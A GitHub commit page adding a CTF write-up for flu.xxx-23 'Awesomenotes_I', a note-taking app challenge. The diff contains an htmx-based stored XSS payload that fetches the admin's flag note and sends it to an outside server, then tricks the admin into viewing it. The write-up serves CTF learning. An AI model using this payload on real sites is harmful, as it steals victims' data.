Skip to content

Commit

Permalink
Add flu.xxx-23 - Awesomenotes_I writeup
Browse files Browse the repository at this point in the history
  • Loading branch information
aenniw committed Nov 23, 2023
1 parent a7e0e8f commit 429505c
Showing 1 changed file with 13 additions and 1 deletion.
14 changes: 13 additions & 1 deletion flu.xxx-23/Awesomenotes_I/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -10,9 +10,21 @@ We're excited to announce our new, revolutionary product: A note-taking app. Thi

#### Solution:

```bash
- poking around reveals that the `htmx` is used for fetching of data and also is whitelisted thus we can exploit it for XSS
```html
<div
hx-get="/note/flag"
hx-on::after-swap="fetch('/api/note/flag')
.then((r)=>r.text())
.then((t)=>fetch('https://my-server/'+encodeURI(t)))"
hx-trigger="load delay:0.001s"
hx-swap="innerHTML"
hx-target="this"
>
```

- report above note for `admin` inspection and profit

---

<details><summary>FLAG:</summary>
Expand Down

0 comments on commit 429505c

Please sign in to comment.